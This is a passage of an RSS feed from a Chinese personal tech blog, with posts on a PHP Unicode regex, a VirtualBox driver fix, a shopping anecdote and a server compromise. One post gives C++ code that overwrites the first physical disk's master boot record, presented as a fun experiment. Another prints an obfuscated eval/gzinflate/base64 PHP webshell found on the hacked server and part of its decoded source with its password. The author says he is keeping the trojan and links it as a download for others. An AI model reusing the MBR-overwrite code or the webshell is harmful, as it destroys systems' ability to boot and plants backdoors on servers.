<div id="attachment_544" class="wp-caption aligncenter" style="width: 160px"><a href="http://www.cnxct.com/wp-content/uploads/2010/07/reg1.jpg" rel="lightbox[543]"><img src="http://www.cnxct.com/wp-content/uploads/2010/07/reg1-150x150.jpg" alt="" title="PHP正则表达式匹配UNICODE字符" width="150" height="150" class="size-thumbnail wp-image-544" /></a><p class="wp-caption-text">PHP正则表达式匹配UNICODE字符</p></div><br />
网友的表达式等同于如下图所示<br />
<div id="attachment_545" class="wp-caption aligncenter" style="width: 160px"><a href="http://www.cnxct.com/wp-content/uploads/2010/07/reg2.jpg" rel="lightbox[543]"><img src="http://www.cnxct.com/wp-content/uploads/2010/07/reg2-150x150.jpg" alt="" title="PHP正则表达式匹配UNICODE字符" width="150" height="150" class="size-thumbnail wp-image-545" /></a><p class="wp-caption-text">PHP正则表达式匹配UNICODE字符</p></div></p>
<p><strong>解决办法：</strong><br />
错误的原因找出来了，那么，解决的办法呢？<br />
我们先来看看这位网友的需求，他的需求是将unicode（ASCII只是0-127位的，128之后的，应该叫UNICODE码）的chr(128)到chr(255)之间的字符匹配，替换为空罢了。正则表达式里，对十六进制的字符匹配的表示方式有两种，【\u】和【\x{}】，前者只能表示【\u】后面4位的十六进制数值，而后者【\x{}】则可以表示任意多的十六进制位数（写在大括号中）。<br />
那么，这个正则表达式该如何写？？？？</p>
<p>网友的目的是chr(128)到chr(255)，那么就是【[\u0080-\u00FF]】或者【[\x{0080}-\x{00FF}]】。<br />
其目的是匹配下图中的红框内字符<br />
<div id="attachment_546" class="wp-caption aligncenter" style="width: 160px"><a href="http://www.cnxct.com/wp-content/uploads/2010/07/mudi.jpg" rel="lightbox[543]"><img src="http://www.cnxct.com/wp-content/uploads/2010/07/mudi-150x150.jpg" alt="" title="UNICODE字符128到255字符集图" width="150" height="150" class="size-thumbnail wp-image-546" /></a><p class="wp-caption-text">UNICODE字符128到255字符集图</p></div><br />
提醒一下，PHP里正则匹配unicode字符时，需要使用u修饰符。<br />
根据网友需求，更改正则之后的PHP代码如下：</p>
<pre class="brush: php;">
$words = &quot;0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSRUVWXYZ!@#$%^&amp;*()_+-=[]\\,./{}|&lt;&gt;?'\&quot;你好啊我们&quot;;
$otherStr=preg_replace(&quot;//[\x{0080}-\x{00FF}]+/iu&quot;,&quot; &quot;,$words);
echo 'otherStr:',$otherStr;
</pre>
<p>其运行结果是仍然输出那段字符串，为什么呢？因为哪些字符串都不在chr(128)到chr(255)的范围之内。<br />
（测试时，注意文件编码为UTF-8）<br />
以上为鄙人愚见，欢迎批评指正。</p>
]]></content:encoded>
			<wfw:commentRss>http://www.cnxct.com/php%e4%b8%ad%e6%ad%a3%e5%88%99%e8%a1%a8%e8%be%be%e5%bc%8f%e5%af%b9unicode%e5%ad%97%e7%ac%a6%e7%a0%81%e7%9a%84%e5%8c%b9%e9%85%8d/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>发现个好玩的代码改写MBR</title>
		<link>http://www.cnxct.com/%e5%8f%91%e7%8e%b0%e4%b8%aa%e5%a5%bd%e7%8e%a9%e7%9a%84%e4%bb%a3%e7%a0%81%e6%94%b9%e5%86%99mbr/</link>
		<comments>http://www.cnxct.com/%e5%8f%91%e7%8e%b0%e4%b8%aa%e5%a5%bd%e7%8e%a9%e7%9a%84%e4%bb%a3%e7%a0%81%e6%94%b9%e5%86%99mbr/#comments</comments>
		<pubDate>Sat, 03 Jul 2010 13:47:41 +0000</pubDate>
		<dc:creator>hello world</dc:creator>
				<category><![CDATA[所谓技术]]></category>
		<category><![CDATA[mbr]]></category>

		<guid isPermaLink="false">http://www.cnxct.com/?p=536</guid>
		<description><![CDATA[<a href="http://www.cnxct.com/wp-content/uploads/2010/07/proxy_mop.php_.jpg"><img src="http://www.cnxct.com/wp-content/uploads/2010/07/proxy_mop.php_-150x150.jpg" alt="" title="C++改写mbr" width="150" height="150" class="alignleft sided inline" /></a>
前几天看关于mbr被改写，导致无法进入主引导项，只能看到mbr显示的东西。而且，重装系统也不会重写mbr部分的引导。只能通过DOS里执行fdisk /mbr来清除掉，然后重写才能完成。今天，闲着没事，写了代码，小试一下。]]></description>
			<content:encoded><![CDATA[<pre class="brush: cpp;">
 HANDLE hDevice;
DWORD dwBytesWritten, dwBytesReturned;
BYTE pMBR[512] = {0};
// 重新构造MBR
memcpy(pMBR, scode, sizeof(scode) - 1);

//MBR结束标记55AA
pMBR[510] = 0x55;
pMBR[511] = 0xAA;
//打开磁盘驱动
hDevice = CreateFile
(
&quot;\\\\.\\PHYSICALDRIVE0&quot;,
GENERIC_READ | GENERIC_WRITE,
FILE_SHARE_READ | FILE_SHARE_WRITE,
NULL,
OPEN_EXISTING,
0,
NULL
);

if (hDevice == INVALID_HANDLE_VALUE)
return -1;

//锁定卷
DeviceIoControl
(
hDevice,
FSCTL_LOCK_VOLUME,
NULL,
0,
NULL,
0,
&amp;amp;dwBytesReturned,
NULL
);

// 写入内容
WriteFile(hDevice, pMBR, sizeof(pMBR), &amp;amp;dwBytesWritten, NULL);

//解除卷锁定
DeviceIoControl
(
hDevice,
FSCTL_UNLOCK_VOLUME,
NULL,
0,
NULL,
0,
&amp;amp;dwBytesReturned,
NULL
);
CloseHandle(hDevice);
</pre>
<pre class="brush: cpp;">
ExitProcess(-1);
return 0;
</pre>
<p>运行效果<br />
<a href="http://www.cnxct.com/wp-content/uploads/2010/07/未命名1.jpg" rel="lightbox[536]"><img class="alignnone size-medium wp-image-535" title="效果" src="http://www.cnxct.com/wp-content/uploads/2010/07/未命名1-256x300.jpg" alt="效果" width="256" height="300" /></a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.cnxct.com/%e5%8f%91%e7%8e%b0%e4%b8%aa%e5%a5%bd%e7%8e%a9%e7%9a%84%e4%bb%a3%e7%a0%81%e6%94%b9%e5%86%99mbr/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>LO**网购物小记</title>
		<link>http://www.cnxct.com/lo%e7%bd%91%e8%b4%ad%e7%89%a9%e5%b0%8f%e8%ae%b0/</link>
		<comments>http://www.cnxct.com/lo%e7%bd%91%e8%b4%ad%e7%89%a9%e5%b0%8f%e8%ae%b0/#comments</comments>
		<pubDate>Sun, 27 Jun 2010 12:52:52 +0000</pubDate>
		<dc:creator>CFC4N</dc:creator>
				<category><![CDATA[生活]]></category>
		<category><![CDATA[blackerry]]></category>

		<guid isPermaLink="false">http://www.cnxct.com/lo%e7%bd%91%e8%b4%ad%e7%89%a9%e5%b0%8f%e8%ae%b0/</guid>
		<description><![CDATA[<a href="http://www.cnxct.com/wp-content/uploads/2010/06/naozhong.jpg"><img src="http://www.cnxct.com/wp-content/uploads/2010/06/naozhong-150x150.jpg" alt="" title="意料之外的闹钟" width="150" height="150" class="alignleft sided inline" /></a>
上上上周，也就是6月11号左右，温度比较高，偶尔小雨，天气阴沉，适合蚊子生长繁殖，蚊虫很多，夜里，疯狂的咬俺。遂到LO**网站淘了一番，最终选择一款蚊帐，加1块钱送了个凉席药物枕头，送了个小闹钟。心想，过2-3天肯定送到，再晚也就4-5呗，都在上海，结果，一个星期，两个星期过去了，还没送到。今天早上，听到门铃声，正在猜想这会是谁按的呢？快递？我没买东西啊。。。开了门之后，才知道N天前网购的蚊帐送来了。赶紧付款，拿货。打开之后，我无语了。好漂亮的闹钟。下面上图。]]></description>
			<content:encoded><![CDATA[<p>上上上周，也就是6月11号左右，温度比较高，偶尔小雨，天气阴沉，适合蚊子生长繁殖，蚊虫很多，夜里，疯狂的咬俺。遂到LO**网站淘了一番，最终选择一款蚊帐，加1块钱送了个凉席药物枕头，送了个小闹钟。心想，过2-3天肯定送到，再晚也就4-5呗，都在上海，结果，一个星期，两个星期过去了，还没送到。今天早上，听到门铃声，正在猜想这会是谁按的呢？快递？我没买东西啊。。。开了门之后，才知道N天前网购的蚊帐送来了。赶紧付款，拿货。打开之后，我无语了。好漂亮的闹钟。下面上图。<br />
<div id="attachment_529" class="wp-caption aligncenter" style="width: 160px"><a href="http://www.cnxct.com/wp-content/uploads/2010/06/naozhong.jpg" rel="lightbox[531]"><img src="http://www.cnxct.com/wp-content/uploads/2010/06/naozhong-150x150.jpg" alt="" title="意料之外的闹钟" width="150" height="150" class="size-thumbnail wp-image-529" /></a><p class="wp-caption-text">意料之外的闹钟</p></div></p>
<p>嗯，不错吧？您是不是觉得这闹钟不错？ 好吧，我让你看清楚一点，您对比一下吧。看看跟我的黑莓手机对比大小的照片。<br />
<div id="attachment_530" class="wp-caption aligncenter" style="width: 160px"><a href="http://www.cnxct.com/wp-content/uploads/2010/06/heimei.jpg" rel="lightbox[531]"><img src="http://www.cnxct.com/wp-content/uploads/2010/06/heimei-150x150.jpg" alt="" title="黑莓8800手机跟闹钟大小对比照片" width="150" height="150" class="size-thumbnail wp-image-530" /></a><p class="wp-caption-text">黑莓8800手机跟闹钟大小对比照片</p></div></p>
<p>怎么样，精致吧，TMD 太小了，这闹钟，而且，压根不能闹铃。。。我汗。。还有，送货速度也忒&#8230;&#8230;&#8230;..“快”了。</p>
]]></content:encoded>
			<wfw:commentRss>http://www.cnxct.com/lo%e7%bd%91%e8%b4%ad%e7%89%a9%e5%b0%8f%e8%ae%b0/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>eval、gzinflate、 base64_decode三函数加密的代码在线解密</title>
		<link>http://www.cnxct.com/eval%e3%80%81gzinflate%e3%80%81-base64_decode%e4%b8%89%e5%87%bd%e6%95%b0%e5%8a%a0%e5%af%86%e7%9a%84%e4%bb%a3%e7%a0%81%e5%9c%a8%e7%ba%bf%e8%a7%a3%e5%af%86/</link>
		<comments>http://www.cnxct.com/eval%e3%80%81gzinflate%e3%80%81-base64_decode%e4%b8%89%e5%87%bd%e6%95%b0%e5%8a%a0%e5%af%86%e7%9a%84%e4%bb%a3%e7%a0%81%e5%9c%a8%e7%ba%bf%e8%a7%a3%e5%af%86/#comments</comments>
		<pubDate>Fri, 25 Jun 2010 10:02:32 +0000</pubDate>
		<dc:creator>CFC4N</dc:creator>
				<category><![CDATA[所谓技术]]></category>
		<category><![CDATA[base64_decode]]></category>
		<category><![CDATA[ECSHOP]]></category>
		<category><![CDATA[eval]]></category>
		<category><![CDATA[gzinflate]]></category>
		<category><![CDATA[PHP解密]]></category>
		<category><![CDATA[入侵]]></category>

		<guid isPermaLink="false">http://www.cnxct.com/?p=511</guid>
		<description><![CDATA[<a href="http://www.cnxct.com/wp-content/uploads/2010/06/temp.jpg"><img class="alignleft sided inline" title="梦中每迷还乡路,愈知晚途念桑梓" src="http://www.cnxct.com/wp-content/uploads/2010/06/temp-150x150.jpg" alt="" width="150" height="150" /></a>
其实，这边日志的主题不是想写被eval、gzinflate、 base64_decode三函数加密的代码的在线解密的。主要写生活中的两三件事。

其一，刘威同学生了个儿子，在这里恭喜一下。俺又多了个侄子，年底回家，连他结婚的喜酒，跟小侄子的见面礼一并给了。（此人已经生子，还未结婚，大家一起来鄙视一下，当然，你也可以羡慕一下。）

二，前天下午听姐姐说晚上跟今天早上，还有中午打电话回家，都没人接听。我听了之后，有点心慌，也假装镇定到下班回家，先是打了电话到大姐家，接电话的是外甥，其也说也曾经尝试了几次，也是没接通，然后，决定明天去我父母家看望一下（中考完毕），顺便带点农副产品。我听了之后，却愈加担心，也有点欣慰。担心的是家里的电话为什么没人接，欣慰的是外甥很懂事了，也很孝顺他的姥姥，也就是我的父母。接着，我又尝试几遍，仍未有响应。又打了一通电话，后得知家里电话坏了，才放下心来。继续坚持每周一个电话回家。]]></description>
			<content:encoded><![CDATA[<p>其实，这边日志的主题不是想写被<a href="http://www.cnxct.com/cfc4n/eval-gzinflate-base64_decode.php"><strong>eval、gzinflate、 base64_decode三函数加密</strong>的代码的<strong>在线解密</strong></a>的。主要写生活中的两三件事。</p>
<p>其一，刘威同学生了个儿子，在这里恭喜一下。俺又多了个侄子，年底回家，连他结婚的喜酒，跟小侄子的见面礼一并给了。（此人已经生子，还未结婚，大家一起来鄙视一下，当然，你也可以羡慕一下。）团队的SCY已经有两个孩子了，一个女儿一个儿子，岁月不饶人啊，哥老了。</p>
<p>其二，前天下午听姐姐说晚上跟今天早上，还有中午打电话回家，都没人接听。我听了之后，有点心慌，也假装镇定到下班回家，先是打了电话到大姐家，接电话的是外甥，其也说也曾经尝试了几次，也是没接通，然后，决定明天去我父母家看望一下（中考完毕），顺便带点农副产品。我听了之后，却愈加担心，也有点欣慰。担心的是家里的电话为什么没人接，欣慰的是外甥很懂事了，也很孝顺他的姥姥，也就是我的父母。接着，我又尝试几遍，仍未有响应。又打了一通电话，后得知家里电话坏了，才放下心来。继续坚持每周一个电话回家。</p>
<p>其三，天气渐热，把去年买的风扇拿出来。安装了一下，发现扇叶以及其他部件都是崭新、一尘不染的，遂不住赞叹自己当初认真清理打扫，收藏放置的态度。</p>
<p>其四，放BLOG的服务器，被入侵了。入口是ECSHOP的BUG引起的。俺也没啥说的，只想对这位“大侠”说：“你爱干吗就干吗，只要别删数据，要是挂黑页，证明你的能力的话，那记得帮俺备份一下，拜谢了”。接着说，顺便发现了其使用的PHP木马，打开看了下源码，加密了。其加密方式为<br />
eval(gzinflate(base64_decode(这种的，见下面代码：</p>
<pre class="brush: php;">
?&gt;&lt;?php
eval(gzinflate(base64_decode('HJ3HbuRalkXn9SP1AA7oHdDoAr0NegbNpEDvvefXd6hzkkhJKYV4z9l7rZBE/ed//+c/cz3/61/FmfT/VG8zln2yF/+kyVYQ2H/zIpvy4p9/yyoqp8eeDV040q4OM/d1qQTvsEU0xdNc+wNvmqU1BwhZMTWeIY9ivWSJBrMygUAOgkAGZi8KEjAoDqUHfiXq7UfkEUGge76Rjcjgq8zng800+DxTsk+Hx4swwfTMtXA4XmTGlrElQx2AqB12GwLT/Sz8AaDd1s602lxYoksdwdnaqUGCvfucXfefhFU/
</pre>
<p>大体代码就这样，没贴完，费了1个多小时，写了<a href="http://www.cnxct.com/cfc4n/eval-gzinflate-base64_decode.php" target="_blank">解密代码程序</a>，见http://www.cnxct.com/cfc4n/eval-gzinflate-base64_decode.php，方便大家用得到的时候用下。<br />
顺便说下，此PHP木马程序加密了9次左右吧，解密之后的代码为</p>
<pre class="brush: php;">
?&gt;&lt;?php
$password = &quot;wx&quot;;
error_reporting(E_ERROR);
header(&quot;content-Type: text/html; charset=gb2312&quot;);
set_time_limit(0);
function Root_GP(&amp;$array)
{
	while(list($key,$var) = each($array))
	{
		if((strtoupper($key) != $key || ''.intval($key) == &quot;$key&quot;) &amp;&amp; $key != 'argc' &amp;&amp; $key != 'argv')
		{
			if(is_string($var)) $array[$key] = stripslashes($var);
			if(is_array($var)) $array[$key] = Root_GP($var);
		}
	}
	return $array;
}

function Root_CSS()
{
</pre>
<p>哦&#8230;..这哥们的密码居然就两位字母，就是wx ，这一不小心还能按对。。PS：这木马不错，留着自己用了。打包在下面，想用的可以拿去。<br />
无图无真相，上图。</p>
<p>艹，Wordpress不能上传了，提示&#8221;临时文件夹丢失。&#8221;好吧，好吧，我先写周报，等会再调试。</p>
<p>搞定了，gleon调试，把php.ini中的upload_tmp_dir配置项去掉了，开启之后，给相应目录足够权限即可，比如755.</p>
<p>附件：<a href="http://www.cnxct.com/wp-content/uploads/2010/06/php_shell.zip">php木马加密前与加密后的两个文件打包</a></p>
<p>下面上图</p>
<div id="attachment_519" class="wp-caption aligncenter" style="width: 160px"><a href="http://www.cnxct.com/wp-content/uploads/2010/06/php_shell0.jpg" rel="lightbox[511]"><img class="size-thumbnail wp-image-519" title="eval、gzinflate、 base64_decode三函数加密的代码的在线解密" src="http://www.cnxct.com/wp-content/uploads/2010/06/php_shell0-150x150.jpg" alt="" width="150" height="150" /></a><p class="wp-caption-text">eval、gzinflate、 base64_decode三函数加密的代码的在线解密</p></div>
<div id="attachment_520" class="wp-caption aligncenter" style="width: 160px"><a href="http://www.cnxct.com/wp-content/uploads/2010/06/php_shell1.jpg" rel="lightbox[511]"><img class="size-thumbnail wp-image-520" title="eval、gzinflate、 base64_decode三函数加密的代码的在线解密" src="http://www.cnxct.com/wp-content/uploads/2010/06/php_shell1-150x150.jpg" alt="" width="150" height="150" /></a><p class="wp-caption-text">eval、gzinflate、 base64_decode三函数加密的代码的在线解密</p></div>
<div id="attachment_521" class="wp-caption aligncenter" style="width: 160px"><a href="http://www.cnxct.com/wp-content/uploads/2010/06/php_shell2.jpg" rel="lightbox[511]"><img class="size-thumbnail wp-image-521" title="eval、gzinflate、 base64_decode三函数加密的代码的在线解密" src="http://www.cnxct.com/wp-content/uploads/2010/06/php_shell2-150x150.jpg" alt="" width="150" height="150" /></a><p class="wp-caption-text">eval、gzinflate、 base64_decode三函数加密的代码的在线解密</p></div>
<div id="attachment_522" class="wp-caption aligncenter" style="width: 160px"><a href="http://www.cnxct.com/wp-content/uploads/2010/06/php_shell3.jpg" rel="lightbox[511]"><img class="size-thumbnail wp-image-522" title="eval、gzinflate、 base64_decode三函数加密的代码的在线解密" src="http://www.cnxct.com/wp-content/uploads/2010/06/php_shell3-150x150.jpg" alt="" width="150" height="150" /></a><p class="wp-caption-text">eval、gzinflate、 base64_decode三函数加密的代码的在线解密</p></div>
]]></content:encoded>
			<wfw:commentRss>http://www.cnxct.com/eval%e3%80%81gzinflate%e3%80%81-base64_decode%e4%b8%89%e5%87%bd%e6%95%b0%e5%8a%a0%e5%af%86%e7%9a%84%e4%bb%a3%e7%a0%81%e5%9c%a8%e7%ba%bf%e8%a7%a3%e5%af%86/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>升级ubuntu内核，virtualbox提示Kernel driver not installed (rc=-1908)出错</title>
		<link>http://www.cnxct.com/%e5%8d%87%e7%ba%a7ubuntu%e5%86%85%e6%a0%b8%ef%bc%8cvirtualbox%e6%8f%90%e7%a4%bakernel-driver-not-installed-rc-1908%e5%87%ba%e9%94%99/</link>
		<comments>http://www.cnxct.com/%e5%8d%87%e7%ba%a7ubuntu%e5%86%85%e6%a0%b8%ef%bc%8cvirtualbox%e6%8f%90%e7%a4%bakernel-driver-not-installed-rc-1908%e5%87%ba%e9%94%99/#comments</comments>
		<pubDate>Mon, 21 Jun 2010 13:34:12 +0000</pubDate>
		<dc:creator>CFC4N</dc:creator>
				<category><![CDATA[所谓技术]]></category>
		<category><![CDATA[ubuntu]]></category>
		<category><![CDATA[virtualbox]]></category>

		<guid isPermaLink="false">http://www.cnxct.com/?p=501</guid>
		<description><![CDATA[<a href="http://www.cnxct.com/wp-content/uploads/2010/06/Screenshot.png"><img src="http://www.cnxct.com/wp-content/uploads/2010/06/Screenshot-150x150.png" alt="" title="更新ubuntu内核，virtualbox出Kernel driver not installed错" width="150" height="150" class="alignleft sided inline" /></a>
今天，我闲的蛋疼，更新来ubuntu内核，重启之后，也没在意，为了PS一张图，GIMP用起来不方便，遂开虚拟机virtualBox，进XP，用PhotoShop来操作，结果，VirtualBox却提示“ernel driver not installed (rc=-1908)”，我还没来得及点确定，又提示
The VirtualBox Linux kernel driver (vboxdrv) is either not loaded or there is a permission problem with /dev/vboxdrv. Re-setup the kernel module by executing
'/etc/init.d/vboxdrv setup'
as root. Users of Ubuntu, Fedora or Mandriva should install the DKMS package first. This package keeps track of Linux kernel changes and recompiles the vboxdrv kernel module if necessary.
]]></description>
			<content:encoded><![CDATA[<p>今天，我闲的蛋疼，更新来ubuntu内核，重启之后，也没在意，为了PS一张图，GIMP用起来不方便，遂开虚拟机virtualBox，进XP，用PhotoShop来操作，结果，VirtualBox却提示“ernel driver not installed (rc=-1908)”，我还没来得及点确定，又提示</p>
<blockquote><p>The VirtualBox Linux kernel driver (vboxdrv) is either not loaded or there is a permission problem with /dev/vboxdrv. Re-setup the kernel module by executing</p>
<p>&#8216;/etc/init.d/vboxdrv setup&#8217;</p>
<p>as root. Users of Ubuntu, Fedora or Mandriva should install the DKMS package first. This package keeps track of Linux kernel changes and recompiles the vboxdrv kernel module if necessary.</p></blockquote>
<p>好吧，我照办，开中端，敲入sudo /etc/init.d/vboxdrv setup,回车，立马提示</p>
<blockquote>
<pre class="brush: plain;">
root@cnxct:/home/cfc4n# /etc/init.d/vboxdrv setup
 * Stopping VirtualBox kernel module                                             *  done.
 * Recompiling VirtualBox kernel module
</pre>
</blockquote>
<p>屏幕停止在“Recompiling VirtualBox kernel module  ”半天没反映，我有点心慌来，赶紧搜下。等到我切换到终端看结果的时候，却发现提示“* Starting VirtualBox kernel module                                             *  done.”，我 草，好了。那好吧，打开虚拟机看看，进XP。。。OK，正常了。。<br />
附截图一张。<br />
<div id="attachment_502" class="wp-caption aligncenter" style="width: 160px"><a href="http://www.cnxct.com/wp-content/uploads/2010/06/Screenshot.png" rel="lightbox[501]"><img src="http://www.cnxct.com/wp-content/uploads/2010/06/Screenshot-150x150.png" alt="" title="更新ubuntu内核，virtualbox出Kernel driver not installed错" width="150" height="150" class="size-thumbnail wp-image-502" /></a><p class="wp-caption-text">更新ubuntu内核，virtualbox出Kernel driver not installed错</p></div></p>
<p>至于这个错误是什么原因导致的，等我下次蛋疼的时候，再去查明真相吧。</p>
]]></content:encoded>
			<wfw:commentRss>http://www.cnxct.com/%e5%8d%87%e7%ba%a7ubuntu%e5%86%85%e6%a0%b8%ef%bc%8cvirtualbox%e6%8f%90%e7%a4%bakernel-driver-not-installed-rc-1908%e5%87%ba%e9%94%99/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
	</channel>
</rss>
